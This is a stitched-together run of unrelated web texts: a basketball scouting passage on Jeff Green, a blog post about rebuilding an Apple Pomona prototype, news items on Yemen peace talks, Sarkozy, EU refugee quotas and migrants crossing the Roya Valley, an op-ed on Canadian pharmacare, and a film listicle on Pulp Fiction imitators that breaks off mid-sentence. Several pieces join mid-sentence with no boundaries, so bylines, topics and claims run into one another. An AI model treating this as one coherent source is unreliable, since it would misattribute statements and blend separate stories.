Both Coach Nick and the advance scout pointed out the fact that Green rarely, if ever, jumps off of both feet when attempting a layup or dunk. Nick explained, "There is a compelling study that suggests that players that finish when jumping off both feet shoot considerably better, and get many more and-one's, when going to the basket."
"The balance and power significantly improve their chances of finishing. It's my feeling that Jeff Green launches himself off of one foot all too often, and clearly, when jumping off the right foot and trying to shoot with the right hand almost always unleashes an off-balance and awkward shot."
The NBA advance scout agreed, "Green is explosive off of one foot, but if he was able to learn the technique of a two-foot jump, he may develop the mindset of getting to the basket and using his explosiveness at the rim. Currently, because of his decisions to take off from deep, he limits his ability to use his athleticism and explosiveness."
Despite these criticisms, Jeff Green is still a quality NBA player. He's averaging 16.1 points and 4.5 rebounds per game this season, though he still hasn't met the expectations of many fans around the league.
"At this time, Green is the man on the Celtics. He is the go-to guy. But on an NBA team, the player in this particular role must possess an elite set of skills," the advance scout explained.
"While Green is capable of possessing these skills, he is not there just yet. But because he is in this 'go-to' guy role, his abilities, both good and bad, are on full display each and every night."
Right now, Jeff Green is only a good role player on a retooling Boston Celtics team. But, maybe someday, with the proper coaching and mentality, everything will click, and Green will form new positive habits to become an elite player.
Follow @KevinOConnorNBAWhen Steve Jobs returned to Apple in January 1997, he was ready to clean house in the design department. The computers Apple released were ugly pizza boxes like the LC series. Jony Ive, who had arrived at Apple five years before Jobs’ return, walked down the hall with a resignation letter in his pocket to his first meeting with Jobs. The letter was never accepted because the Industrial Design Group was producing some amazing work that was locked away in the back room. What was the work that saved Jony’s job? What were the designs sitting on the workbench that so impressed Steve Jobs?
“What were the designs that saved Ive’s job?”
A rare look into early Apple prototypes is provided by the book, “Apple Design: The Work of the Apple Industrial Design Group” by Paul Kunkel from January 1997. It gives unprecedented access to prototypes and lost designs from this era. Just before Jobs return there were two major design studies, Pomona and Spartacus, that resulted in physical prototypes. This was the work that so impressed Jobs that he kept Ive and the rest of the team.
I’ve always had a bit of an obsession with one of the computers from the Pomona design series. It's the “Curved Wood and Black Metal concept with detachable speakers”. Its curving lines and use of wood were so radically different from anything on the market in 2001, when I got the book.
I love turning ideas into physical objects, and for years I played around with ideas for reproducing the iconic curves of this design. Steam bending wood exceeded the limits of my small basement shop. It wasn’t until a Maker Space moved in near me that I had the tools recreate this iconic prototype. The laser cutter was the tool that finally gave me the skills to recreate this prototype and explore a path-not-taken in personal computing.
Robert Brunner was the design chief at Apple from 1989 to 1996. His leadership was visionary and established the Apple Industrial Design Group that has created all of the recent iconic product lines. He created a design brief, Pomona, calling for a rethinking of the personal computer. The brief called for designs that redefined home computing, employing new materials (leather, wood) and new shapes that would blend into the home environment. It was to be a desktop Mac with a minimum footprint that did not conform to Apple’s existing design language. It would also, for the first time, combine the thin LCD screens with the power of a desktop CPU. The design was to explore “minimum footprint opportunities. As remembered by Brunner...
“Pomona concepts should not necessarily follow Apple’s existing product language. Instead they should project high-performance values with compelling vision, provocative forms, rich materials unique configurations, and added functionality using miniature components.”(1)
There are only two images of this prototype (see above). One from the Apple Design book and another that I had to dig up at the Library of Congress from a very old copy of MacUser magazine from January 1994 in the article “Why 2004 won’t be like 1994” by Jon Zilber.
From these two images I was able to design to create the design in Illustrator and export to the laser cutter. Images and details of the build are here.
In recreating this machine, I didn’t want to create just a shell, I wanted to produce a working late 1990’s era Mac. That meant a computer running Mac OS 7.5.5 or OS 8. The heart of the machine is an Intel NUC running Ubuntu with the MacBuntu skin to make it look like OSX. It's also running two emulators. SheepShaver which emulates a PowerPC setup with OS9 and Basilisk II which emulates 68040 with Quadra 630 ROM that runs both System 7.5.5 and OS8. I really wanted to get a working copy of Apple’s lost OS, Copland, but couldn’t find a working install. The screen is an iPad 2 screen with 1024x768 with an HDMI adapter that picked up on Alibaba.
Here are some images (more here) of the finished prototype running OS 7.5.5.
The work on the Pomona design series lead to the prototypes for the Twentieth Anniversary Mac. Jony Ive led this work and the 20th Anniversary Mac was his first released design. It was released on in January 1997, the same month Jobs returned to Apple with the Next acquisition.
This was an incredibly rewarding build that drove me to pick up an entirely new set of skills that I’ve applied to many other projects. My thanks to the Apple Industrial Design team, even your discarded projects are inspiring.Nearly a year into the Saudi Arabian war in Yemen, and after multiple failed UN attempts to start peace talks, the Shi’ite Houthis and Saudi officials are reportedly engaged in peace talks of their own, with a Houthi delegation arriving in the Saudi kingdom for their first visit of the war.
Details are scant, but the report is that the Saudis invited the Houthis to talk, and the Houthis have since confirmed that talks are taking place. Previously throughout the war, the Saudis had suggested talks were impossible.
The Houthis took over Yemen’s capital city in late 2014, and President Hadi resigned in January 2015 after failed talks on constitutional reform and new elections. Saudi Arabia attacked Yemen in March, vowing to reinstall Hadi.
Over the course of the war, the Saudis have taken the southern port of Aden, which is now Hadi’s “interim capital city.” The Houthis retain the capital of Sanaa, and much of the country’s north. The stalemate may be driving the talks, but the growing influence of al-Qaeda,, which has seized territory in the east with the other factions fighting busy one another is also likely a factor.
Last 5 posts by Jason DitzA growing number of health professionals, patients, community groups and even politicians are calling for national pharmacare. But many Canadians likely wonder what pharmacare is and whether Canada is ready for it.
Let’s start at the beginning. Affordable access to safe and properly prescribed prescription medicines is so critical to patient health that the World Health Organization has declared governments are obligated to ensure such access for all of their citizens.
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Unfortunately, Canada is the only developed country with a universal health-care system that does not include universal coverage of prescription drugs. The negative consequences for our health and economic well-being are significant.
Without universal coverage of prescription drugs, one in 10 Canadians cannot afford to fill the prescriptions their doctors prescribe. When patients don’t fill prescriptions they need, it hurts them and our economy because they end up needing more health care in the long run.
But pharmacare is about more than just drug coverage. Insurance companies can do that. What national pharmacare must do is to ensure sustainable, equitable and affordable access to medicines that are safe and appropriately prescribed.
In the Canadian context, this is a public responsibility. And, to be clear in this election year, it will require federal engagement — and not just in the form of cutting cheques for provincial pharmacare programs, but real leadership.
More so than other aspects of health policy in Canada, the federal government has responsibility for matters that affect the safety, availability, use and cost of prescription drugs. Here are four things the federal government could do to make national pharmacare work for Canadians:
• Commit to a clear and comprehensive pharmacare plan, not a patchwork of private and public insurance and not income-based or “catastrophic” drug coverage. Research has consistently shown those systems don’t work well and are unnecessarily costly.
Canada needs a universal, public and comprehensive pharmacare system that will meaningfully integrate medicines into medicare in ways that lead to safer, more affordable use of medicines for all Canadians. We’ve known this since the 1960s. It’s time for a government to commit to make it its legacy for Canada.
• Get on with the task of improving prescribing in Canada. About one in three seniors receives prescriptions known to pose health risks for older adults. The preventable problems of overuse, underuse and misuse of medicines cause one in five hospitalizations in Canada. Cutting these problems in half would save Canadians billions.
The federal government should fund the development and implementation of a national strategy to improve prescribing. Done in partnership with patients, professionals and the provinces, this national strategy should aim to establish a culture of safety and appropriateness, to put an end to questionable drug-marketing practices, and to put credible and usable information in the hands of patients, prescribers and policy-makers.
• Quit applying antiquated drug-price regulations. We live in a world where most comparable health systems have abandoned the blunt instrument of price regulation in favour of more sophisticated tools of price-and-supply contract negotiation. When done well, negotiations with suppliers lead to more competitive prices and more assurances of a secure supply of the medicines the country needs.
The federal government should take the $11 million spent enforcing antiquated price regulations and invest it in joint capacity for negotiating, monitoring and enforcing contracts on behalf of public drug plans and hospitals from coast to coast. This would not only level the playing field within Canada, it would also make Canada much stronger on the world market.
• Sustainability of any system to encourage access to medicines depends to a great extent on timely and vigorous generic competition. Yet Canadian regulations create unnecessary barriers to generic drugs entering our market.
The federal government should create a clearer, faster and fairer path to generic entry following required periods of market exclusivity for patented drugs. This would save Canadians millions — and wouldn’t cost the federal government a dime.
If done right, a pharmacare plan would effectively integrate medicines into Canadian medicare and ensure that the Canadian principles of universal access to high-quality, affordable healthcare do not end when doctors give patients prescriptions to fill. It is within reach with the right plan — and leadership.
Steve Morgan is a professor in the University of British Columbia’s school of population and public health and an expert adviser with EvidenceNetwork.ca.TOUL-ROSIERES, France (Reuters) - French President Nicolas Sarkozy said on Monday he would stick to a target of 115 billion euros in budget savings up to 2016 when he presents his re-election manifesto in the days ahead.
France's President and UMP |
, they didn't know they were walking into a trap.
From Ventimiglia, a steep, narrow road winds north next to the river, into the French Roya Valley. In winter, the Alps swell with snow, and temperatures drop. Still, the Africans rejoiced: They had arrived in France. But further north, the road unexpectedly veers back into Italy. To the west, impassable mountains rise. French police blocked the only exit road.
Before winter began, a French university professor and his 12-year-old daughter drove from the Roya Valley to Nice. Along the way, they saw four teens walking on the road's edge toward the snowy peaks, several of them in flip-flops.
"I knew they were lost and walking in the wrong direction," Pierre-Alain Mannoni says. "I had my daughter with me. Children are inherently fair, they have no political or racist considerations. I wanted to give her a good example."
Mannoni picked up the teens and brought them home for dinner and a night's rest in Nice. The next morning, Mannoni paid for their train tickets toward Marseille, where the boys— all Sudanese—have family.
The professor had heard stories about villagers in the Maritime Alps who were helping the African migrants. They collected clothes and other necessities; they took teens, adults, and families with children into their homes. After sheltering and feeding them, villagers drove them past police patrols to Nice or other French cities.
Mannoni decided he would help. The day after dropping off the Sudanese teens, he drove three young Eritrean women from the Roya Valley to Nice. At a tollgate, French police stopped his car. They took him and the women to a police station. Mannoni was held in detention for 36 hours. He later learned that two of the young women were driven back to Italy, while the teen girl was sent to France's child-welfare authorities.
Prosecutors charged him with "facilitating the illegal entry, movement, or residence of a foreigner in France"—a crime punishable by up to five years in prison and a €30,000 fine. They asked for a six-month suspended prison sentence. But in January, Mannoni was acquitted because the court determined that he acted on humanitarian grounds.
(Photo: Patrick Aventurier/Getty Images)
The prosecutors also went after Cédric Herrou, a farmer from the Roya Valley who has sheltered several hundred migrants on his farm. In his case, prosecutors sought an eight-month suspended prison sentence.
In February, the court found Herrou guilty of helping the migrants cross from Ventimiglia to France. He was given a €3,000 suspended fine, but the court acquitted him on other related charges, including sheltering the migrants. (At press time, prosecutors were awaiting results of their appeals on Herrou's and Mannoni's cases.)
"We have children and families by the roadside, sleeping outside in the cold, and Europe has no solutions for them," Herrou says. "Politicians think it's OK to store them in refugee camps like boxes, but they're real people. We help them to follow their path."
Though Herrou and his supporters have repeatedly asked the French government to reopen the border, little has changed. Over the summer, Herrou accompanied about 80 migrants from the Roya Valley to Nice by foot—a 60-mile journey across the mountains—so that the migrants could file for asylum in Nice. The Roya has come to be known as the "rebellious valley."
Fifteen miles south, in Ventimiglia, many of the migrants remain stranded along the beach, staring out at the sea.
A version of this story originally appeared in the October 2017 issue of Pacific Standard.Ireland and other EU countries could be forced to take in extra refugees from fellow member states facing "crisis" levels of refugees under reforms set to be discussed in March, writes Fiachra Ó Cionnaith, Political Correspondent, in Brussels.
Officials confirmed the move tonight at a meeting in which they also agreed to ask controversial Turkish president Recep Tayyip Erdogan to attend a separate asylum conference during the same period.
While the existing migration system will remain in place in most circumstances, if the situation in Greece and Italy is repeated, an emergency relocation deal will see extra quotas for other member states to ease pressures.
The move will be mandatory as it is under the Dublin convention, but is likely to be opposed by Hungary, Poland and other member states.
The potential change will be debated in detail at the European Council meeting in March, alongside six other likely reforms of the migration system.
They will include the establishment of a EU asylum agency, finger-print checks to ensure people seeking refugee status in one nation have not previously been rejected elsewhere, increased reception camp standards and voluntary resettlement proposals for individuals already in the EU.
The migration system discussion will also coincide with a linked asylum conference to be attended by President Erdogan, who has been the subject of repeated concerns in recent months due to his hard-line and at times violent suppression of opposition political groups.
While the Turkish president is considered highly controversial, his country - which is seeking EU membership but which officials said is far away from this occurring - is key to address the refugee crisis.
EU officials said that the migration reform proposals were influenced by an impassioned speech by a survivor of Aleppo to the Council yesterday.
However, while passing requests to ensure the safety of civilians and medics in Syria, the Council has not sought tougher measures against Syria or Russia.17 Copycat Films Spawned From Quentin Tarantino's 'Pulp Fiction'
You are old. 20 years ago this very day (OK, yesterday to be exact), a 31-year-old wunderkind with only one previous film to his name stepped onto the Palais stage in Cannes to accept the Palme d’Or for his modest kitchen-sink drama “Pulp Fiction.” As momentous as that evening must have been for Quentin Tarantino, it’s hard to believe that even he, not exactly legendary for his humility, could have envisaged just how influential his film would be in subsequent years, and just how rabidly lesser talents would rush to try and replicate its success. Because, without wanting to overstate anything, “Pulp Fiction” changed everything.
The landscape of Hollywood was remade, the mini-major Miramax become the preeminent force in independent film (a major-mini-major?) and Quentin Tarantino was a household name overnight (and seemingly was handed a lifetime directorial carte blanche that very evening). But this wasn’t simply a marketing success or a coup for the industry. “Pulp Fiction” changed what was seen as viable in terms of storytelling, pushing envelopes all over the place: narrative structure (loosely connected but separate story strands); chronology (messed with); dialogue (non-naturalistic, verbose, pop-culture inflected, wildly profane); even casting (has-been John Travolta, Bruce Willis in a ball gag, ingenue Uma Thurman as a femme fatale etc., etc.). For any aspiring filmmaker at the time, hell, for a lot of critics and cineliterate observers, it was a heady explosion of joyously referential but irreverent filmmaking and it felt like anything was possible.
But so few Tarantinos come along in a generation (maybe for the better—how many more could we handle?) that in fact what did happen, despite the sense of wide-open potential, was that rather than necessarily being inspired to go off and do their own thing like Tarantino did, studios and fledgling directors took the path of least resistance and tried to make a movie like Tarantino’s. And so the film industry over the next decade and a bit became something of an echo chamber, as blackly comedic, multi-stranded, extremely violent, wordy crime flicks started to crop up, first one at a time, but pretty soon in whole batches.
We’ve assembled 17 of those slipstream films below, and some are of course better than others, but what’s interesting is to examine just which ones did manage to put their own twist on the formula, and which, well, didn’t. Because having now waded through an awful lot of copycat dross, we’ve gained an even higher respect for the film that started it all, and noticed a throughline in the worst efforts which seems to be that their writers and directors have simply assumed that by assembling something that is brash, amoral, slickly violent, peppered with n- and c-words (and liberally salted with “fucks”) and populated with male characters of a racist, homophobic and/or sexist, criminal bent, voila! you’ve got ‘Pulp.’ But Tarantino, and it’s something even we are sometimes guilty of forgetting, is much, much smarter than that, and underneath the glossy, slick surface of “Pulp Fiction” is an absolutely rigorous, even classical, adherence to the storytelling basics of character building and coherent plotting, the more effective for seeming so effortless, malleable and invisible.
So in celebration of the real deal, here they are: the knock-offs, the rip-offs, the me-toos and the also rans, all vying for a sliver of that “Pulp Fiction” magic but more often than not unable to escape the long, long shadow of the film that defined the ’90s, and beyond.
“Things to Do in Denver When You’re Dead” (1995)
Playing something like a romanticized elegy for gentlemen gangsters, ‘Denver‘ fizzled in theaters, despite boasting Andy Garcia backed by a cast of notables and several Tarantino alumni. Garcia plays Jimmy The Saint, an ex-con forced into doing a final favor for a slumming Christopher Walken, who proceeds to assemble a team of That Guy Actors. The plan goes sour and Steve Buscemi is dispatched to stalk and kill the men. The echoes of Tarantino are heard far and wide—Buscemi’s contract killer is named Mr. Shhh, nearly every character bears a humorous moniker, the dialogue is akin to a mashup of sixty years of gangster movies, and the tone shifts between graphic violence and humor. You’d be wrong to write off the picture though, since all artifice aside, the filmmaking is hardly pedestrian. The actors deliver, in particular a gentle Christopher Lloyd and a certifiably demented Treat Williams, while Buscemi cements his presence without so much as a word. It’s stylized, artificial even, but there’s no denying screenwriter Scott Rosenberg (who also penned last year’s “Pain & Gain”) has a sense for the kind of tough guy talk that belongs on the silver screen (and only there). If nothing else, embrace the spoilers and enjoy this scene—the source of fan favorite line: “I am Godzilla, you are Japan!” [B-]
“American Strays” (1996)
If there’s one single element of Tarantino’s style that is most frequently copied across this list, and most frequently falls absolutely flat, it’s the snappy, digressionary, pop-culture-obsessed dialogue he wrote with such fluidity and wit in “Pulp Fiction.” “American Strays,” a direct-to-dvd film starring a direct-to-dvd cast of Luke Perry, Eric Roberts and Jennifer Tilly from writer/director Michael Covert, is a case in point. The characters snip and spar at each other over the benefits of 8-tracks over CDs, or “old” Aerosmith over “new” Aerosmith, without ever convincing us that they’re doing anything but reciting a lot of words that a young writer had thought would sound real cool all strung together. And the Tarantino love-in doesn’t end there: ‘Strays’ is a multi-stranded supposedly blackly comic, semi-parodic take on the desert/road movie, populated by oddball characters who have quirks instead of personalities (this old guy collects dolls! This suicidal dude has taken out a hit … on himself!) and who only collide in, what else, a big ol’ gunfight in the Oasis diner. Perry is extraordinarily wooden, and Tilly seems to have been playing the role of sociopathic sexpot forever, but Roberts is a minor redeeming feature of the film, cast against type as a family man who has lost his job. Still there’s nothing he can really do to rescue the shoddiness of the endeavor, with Covert’s movie right down to the prevalence of low angle shots, at best an example of ventriloquism. Unfortunately, we can see his lips move. [C-/D+]
“The Way of the Gun” (2000)
As great as ‘Pulp’ is, the majority of the films that tried to emulate it ain’t in the same ballpark, the same league, they ain’t even the same fucking sport. Some get closer though, as in this beautifully crass (for the first half at least) Christopher McQuarrie crime film. Sure, “The Way of the Gun” is hyper-violent and has a coterie of vulgar, bad people making up its cast of characters. It’s talky and very much “written.” But it’s not so much a knockoff of the QT style as that it shares a similar sensibility for dialogue and genre subversion. It’s even fair to say that McQuarrie was ahead of Tarantino here in terms of heavily aping spaghetti western tropes and style (“Kill Bill” came three years later). It’s a twisty, ‘70s throwback tale of two low-lifes (Benicio Del Toro and a gravelly-voiced Ryan Phillippe) who kidnap a surrogate mother to a rich couple in hopes of a big score. Things spiral out of control on the way to a brutal gun fight in a dusty old Mexican town. The characterizations and dialogue really sing, especially coming from the two leads and James Caan as a veteran cleaner of sorts, who puts on an acting clinic in ultimate grizzled old man badassery. There’s a lot of memorable moments, acting choices and sequences: the hilarious, vulgar opening scene sets the tone and establishes these “heroes”; Del Toro slapping a prostitute in the ass before a gun fight; and Phillippe unwittingly leaping into a pile of broken glass (goddammit anyway!), until it all comes way unmoored in the final act. The success of “Pulp Fiction” allowed for the existence of “The Way of the Gun,” but perhaps unusually for this list, its successes and failures feel mostly its own. [B-]
“Go” (Doug Liman, 1999)
When Roger Ebert reviewed “Go” back in 1999, he used the first paragraph to talk about the lasting legacy of “Pulp Fiction,” including the fact that “sooner or later the statute of limitations has to run out” on comparisons between new movies and Tarantino’s game-changing masterpiece. And the critical consensus was pretty much in agreement: even though, as Ebert said, “the shadow of Q.T. falls on many scenes,” Doug Liman‘s energetic, candy-colored follow-up to “Swingers” was a deeply entertaining ride in its own right. (It was also, with the country’s youth currently under the spell of a dance music renaissance, ahead of its time.) The biggest debt “Go” pays to “Pulp Fiction” is in its shifty, interlocking narrative that follows a trio of threads, all loosely connected back to a Christmas-themed rave in Los Angeles, and in its cooler-than-thou attitude, with snappy, tough-talking drug dealers, kooky cops and a coolly detached view of violence and its real-world repercussions. (It’s also worth noting that Liman was once again latching onto contemporary urban hipster tropes.) The power of “Go,” which unfolds with a nearly hallucinogenic vividness (like “American Graffiti” on ecstasy), is that you aren’t actively attributing this debt to Tarantino as the movie is going on. It’s hilarious and involving and warm on its own terms. “Go” is one of the rare son-of-“Pulp Fiction” movies where it didn’t matter if the influence was obvious; it was that damn good. [B+]
“The Big Hit” (1998)
Tarantino is famous (or is it infamous) for liberally borrowing from a whole host of cult Hong Kong action movies—everything from Ringo Lam‘s “City on Fire” (which he appropriated large swaths of for “Reservoir Dogs“) to John Woo‘s immortal classic “The Killer“—and everything in between. The weird boomerang effect was that because Tarantino was ripping off Hong Kong cinema, then Hong Kong cinema must be cool in America now too. Tarantino did a fair share of this himself, introducing American audiences to a plucky performer by the name of Jackie Chan via “Rumble in the Bronx” and releasing Wong Kar-Wai‘s “Chungking Express” through his distribution imprint. Of course the downside to this was that other, less tasteful producers and studios thought that since Tarantino had made it cool, they could also try and import that very specific Hong Kong aesthetic for American audiences … which resulted in heaping piles of shit like Che-Kirk Wong‘s nearly unwatchable schlock-a-thon “The Big Hit.” Wong, who directed the hit Chan film “Crime Story” in 1993, leaves any traces of subtlety or substance behind, in this bloody, garish tale about a hitman (Mark Wahlberg) who gets involved in a bumbling kidnapping scheme. It’s loud, it’s obnoxious, it’s sexist, and worst of all … it’s boring. What makes the whole failed enterprise even more baffling is the fact that John Woo produced this piece of shit, a year after making his best American film “Face/Off.” You can’t blame him for wanting the Hong Kong aesthetic to become viable domestically, but sadly something major was lost in the translation. [D]
“2 Days In The Valley” (1996)
One of the more self-evident “Pulp Fiction” rip-offs, although presumably written after a double-bill of that and “Short Cuts,” with a disparate group of characters, including a pair of hitmen and a few femme fatales, clashing over the titular 48 hours in LA, John Herzfeld’s film is mostly forgettable, joyless and overly convoluted, and correctly remembered really only for introducing the world to future Oscar-winner Charlize Theron. The plot kicks off with hitmen Lee (James Spader, at his most sleepy-eyed disinterested) and Dosmo (Danny Aiello) killing Peter Horton, at the behest of his wife (Teri Hatcher), only for Lee to shoot Dosmo so he can run off and split the cash with his girlfriend Helga (Theron). But Dosmo survives, taking shelter at the house of a British artist (Greg Cruttwell, from “Naked”) and various others gathered there, including suicidal TV producer Paul Mazursky. It’s the kind of movie where no characters really act like human beings, but just perform actions to move the plot along, and the performances, with a few exceptions, are about as memorable as you could get from cogs in a machine. The dialogue thuds rather than sparkles, Herzfeld (last heard of directing “The Making Of ‘The Expendables’ ” ouch) helms with little-to-no flair, and there’s an icky tone of misogyny even for this genre. Really the only reason to watch is the first glimpse of Theron’s impressive screen presence, poured into an even more impressive white catsuit, if for nothing else than a reminder that she’s gone on to much, much better things over the years. [D]
“Amores Perros” (2000)
Director Alejandro González Iñárritu has his foibles—oppressive seriousness, and an at-times comically dour tonal and thematic palette—but the man is still a gifted filmmaker, one of the best of an impressive roster of modern Mexican directors, in fact. That talent was evident from the beginning in his first, and still best, feature to date. Its similarities to “Pulp Fiction” are pretty clear but mostly surface: three interlocking stories that see characters occasionally cross over; a criminal element; harsh violence. But beyond that, “Amores Perros” (aka “Love’s A Bitch”) is its own beast—a gritty, unflinchingly hard-edged portrayal of loyalty and disloyalty, painful cosmic jokes, fate, and the way love can evolve so fluidly into hatred (and vice versa). The film’s success led to two more projects between Iñárritu and screenwriter Guillermo Arriaga (the also great “21 Grams” and the just OK-with-moments-of-greatness “Babel” which made up their loosely connected Death Trilogy) before they went their own creative ways. Arriaga continued his obsession with the hyperlink film when he wrote and directed “The Burning Plain” whereas Iñárritu left it behind to make the more focused “Biutiful,” so perhaps it was the screenwriter who was more influenced by ‘Pulp’. Regardless, “Amores Perros” is a fantastic film that rises well above any Tarantino rip-off labels. [A-]
“Get Shorty” (1995)
Not so much ripping off “Pulp Fiction” as betting heavily on its success (it was one of John Travolta‘s first post-comeback bookings, producers Jersey Films having partly backed ‘Pulp’ and having the inside track), “Get Shorty” also turned out to be one of the very best of the wave of comic crime pictures that came in the years after Tarantino’s game-changer, in part because it directly adapted one of the director’s favorites, Elmore Leonard. Scripted by Scott Frank and helmed by Barry Sonnenfeld, the film sees Travolta play Chili Palmer, a Miami loan shark who pursues Harry Zimm (Gene Hackman), a B-movie producer, only to end up entering the business by pitching a movie based on his life. They set out to land A-lister Martin Weir (Danny DeVito, who also produced), even as Chili woos Weir’s ex-wife (Rene Russo) and fends off both a local drug dealer (Delroy Lindo) and his boss from home (Dennis Farina). It’s convoluted stuff with multiple players, just like all of Leonard’s best work, but Frank’s smart, snappy screenplay manages to make it all comprehensible, and Sonnenfeld’s zippy, career-best direction keeps proceedings light on their feet. Plus the cast are all aces: not just the starry ensemble (with Travolta arguably even better here than in ‘Fiction’), but also the stacked supporting cast that includes James Gandolfini, Jon Gries and, in an unbilled cameo, Bette Midler. Shame about the sequel, though… [B+]
“Be Cool” (2005)
“Get Shorty” was one of the best of the “Pulp Fiction” follow-ups, and, as we wrote a year or so ago, one of the best-ever Elmore Leonard adaptations. Its dismal, decade-later sequel “Be Cool” was one of the worst of both categories. In fairness, “The Negotiator” helmer F. Gary Gray didn’t have one of Leonard’s best books to work with, but the source material is masterful when compared to the tone-deaf, pleasure-free mess that ended up on screen in 2005. Chilli Palmer is now an established movie name who takes a left turn into the record business when a friend (James Woods) is gunned down in front of him by the Russian mob, and the widow (Uma Thurman) asks him to help save his label by signing a hotly-tipped new singer (Christina Milian), even though she’s already been bagged by two scumbag execs from across town (Harvey Keitel and Vince Vaughn). “Get Shorty” was hardly an inside-Hollywood expose, but felt authentic in a heightened away, whereas no-one involved here seems to have ever even thought about the music industry, and in place of the earlier film’s cast of ringers, we have the wooden Milian, Cedric The Entertainer and, in a performance that remains the lowest ebb of his career (really saying something), Vaughn. Worse, Travolta and Thurman seem to have lost their “Pulp Fiction”-era chemistry, which is only exposed further by the way the film re-enacts their famous dance sequence, but scored to the Black Eyed Peas. That serves as a pretty good metaphor for the movie in general, to be honest. The only redeeming factor is a fine performance from Dwayne Johnson as a gay Samoan bodyguard, but it’s still not enough to make this worth sitting through. [F]
“Suicide Kings” (1997)
If there’s one marker that helps you identify a late-’90s “Pulp Fiction” copycat, it’s the appearance of Christopher Walken, who after only cameoing in the real deal, seemingly refused to turn down any work at all so long as there was some kind of involved, possibly blackly comedic murder or kidnapping. Here, Walken is the victim himself: a former crime boss, Charlie Barret, who’s nabbed by a quartet of college friends hoping to get $2 million from him so they can in turn retrieve one of their kidnapped sisters. Walken manages to get word to his bodyguard/enforcer Lono (Denis Leary), who sets out to track the boys down. It’s not a bad set-up, perhaps more Coens than Tarantino in premise, but certainly indebted to the latter more with its lengthy, would-be comic monologues. And Walken’s great, as ever, owning the screen every moment he’s on it. But that’s not entirely surprising, because his kidnappers are played by the universally bland quartet of Henry Thomas, Sean Patrick Flanery (two-time offender on this list), Jay Mohr, Jeremy Sisto and Johnny Galecki (the only one to make something even close to an impression, mainly because of how annoying he is). There are a few twists and turns that are mildly surprising, but there’s a truly painful sense of dancing in the footsteps of better films throughout. Mostly ignored on release, it’s picked up a tiny cult audience in subsequent years, presumably of bros who can’t find their “Boondock Saints” DVD (see below)—enough so that a sequel is supposedly in development, though we wouldn’t hold our breath in terms of actually seeing the thing. [D+]
“8 Heads In A Duffel Bag” (1997)
In 1999, Oscar-winning “Goodfellas” and “Raging Bull” star Joe Pesci announced his retirement from acting (he’s mostly been good to his word since, bar a cameo in “The Good Shepherd” and a more substantial role in the little-seen “Love Ranch”). After the trio he went out on, you wouldn’t blame him: dire crime comedy “8 Heads In A Duffel Bag” was the first in a trifecta of terrible completed by J.J. Abrams-scripted slapstick comedy “Gone Fishin’ ” and diminishing-returns sequel “Lethal Weapon 4.” But the first of the three was very much the worst: a tonally bonkers comedy with the trappings of a post-Tarantino black comedy, but the soul of “Weekend At Bernie’s.” Pesci plays a mob hitman hired to transport the titular eight bonces across the country, only to lose them in a baggage mix-up with innocent Charlie (Andy Comeau), who’s en route to meet his girlfriend’s parents for the first time. His life threatened if he can’t find the missing cargo, Pesci enlists the aid of Charlie’s roommates (David Spade and Todd Louiso), while Charlie has to convince his prospective in-laws that he’s not a serial killer, and keep the heads intact until Pesci can come pick them up. The result is a broad, deeply unfunny picture caught between several stools, none of which are very entertaining. It makes sense, then, that it’s the lone directorial outing of screenwriter Tom Schulman, whose schizophrenic credits include the very funny “What About Bob?” and winning an Oscar for writing “Dead Poets Society,” along with worthless comedies “Holy Man” and “Welcome To Mooseport.” [F]
“Palookaville” (1995)
Often overshadowed by not only “Pulp Fiction” but also the somewhat similar “Bottle Rocket,” “Palookaville” is now probably best remembered as the first feature from director Alan Taylor, who went on to be a key director for golden age TV dramas like “Oz,” “The Sopranos,” “Mad Men” (of which he helmed the pilot), and “Game Of Thrones,” before recently making a move into the blockbuster world with “Thor: The Dark World” and the upcoming “Terminator: Genesis.” That’s a shame, because while “Palookaville” couldn’t possibly be more different from the latter two tentpoles, it’s a rather charming, low-key crime comedy that deserves a much better reputation. The film focuses on a trio of small-town pals, Sid (William Forsythe), Jerry (Adam Trese) and Russell (Vincent Gallo), who are fed up of their dire economic straits and collapsing personal lives, and plan an armored car robbery together, the only problem being that they don’t have violent bones in their bodies, and are entirely unsuited to lives of crime. Unlike most of the crime movies of this era, there’s no pretense at “cool,” no cutting-edge soundtrack or over-written dialogue: it’s mostly using the crime set-up to examine these three warm, slightly dim fellas, the people around them, and their relationships together. Taylor does handle the final robbery well, though, and there’s such a sweetness to the film (and in particular the often underrated Forsythe’s performance) that it’s able to coast along quite happily on that. Despite winning the Best First Film prize at Venice, it wasn’t able to gain much of an audience, but it’s better than the majority of the films on this list. [B]
“Very Bad Things” (1998)
Time is a wondrous thing. Consider Peter Berg’s coal-black-hearted theatrical debut, “Very Bad Things,” the story of a bachelor party, a dead hooker and a body count that just won’t quit. The divisive picture remains capable of minor moral outrage and there’s little to redeem it—the familiar misogyny of the genre hands the two major female roles to the stripper (Kobe Tai) and venomous bridezilla Cameron Diaz, who is positively chilling. The male cast, consisting of Christian Slater, Jon Favreau, Daniel Stern, Leland Orser and Jeremy Piven, do a fine job of berating one another but there’s little to recommend unless you’re a fan of the actors, and even then, there are a handful of pictures that put their respective talents to far better use. “Very Bad Things” holds humanity in contempt and aims to deliver laughs as violent outbursts claim the lives of caricatures, as a hat tip to the far better film that inspired this feature. That Berg would mount a comeback with 2003’s shamelessly commercial The Rock-starrer “The Rundown” and strike gold with “Friday Night Lights” is a testament to Hollywood’s persistent short-term memory. [C-]
“The Boondock Saints” (1999)
Has it been a while since you wished you were dead? Well, put on this “cult hit” and try to make it through even the first twenty minutes without longing for the sweet embrace of oblivion. While contractually obliged, for the purposes of this feature, to sit through every tedious second we confess our mind did wander to the story behind the film, mainly as a way of protecting itself from the graceless, toxic stupidity of what was unfolding onscreen. Because as filmmaking lore, it’s interesting: the script was briefly the hottest thing in town, and was bought by Miramax to be directed by writer/bartender Troy Duffy despite his lack of filmmaking credentials (clearly hoping for a similar discovery as with ex-video store employee Quentin Tarantino). Duffy, according to the 2003 documentary “Overnight,” was pretty much fueled by delusional egotism and riled everybody involved, resulting in Miramax abandoning the project. But the devil can foil any righteous plan, and the film got made anyway, in all its inanely violent, overlit, derivative, meatheaded glory. The story of two precariously accented Catholic brothers from Boston (Norman Reedus and Sean Patrick Flanery) who randomly start offing people they deem “evil” while pursued by Willem Dafoe’s self-parodic FBI agent, there’s not a single scene you haven’t seen done better in another film, most often “Pulp Fiction.” But what’s most repellant is the lunkheaded glee the film takes in its unthinking endorsement of vigilantism, and how it practically ejaculates over itself about how edgy and hip it is, when in fact it’s just straight-up racist, homophobic, misogynistic and consistently dumb as fuck. This has to be the nadir of the “Pulp Fiction” 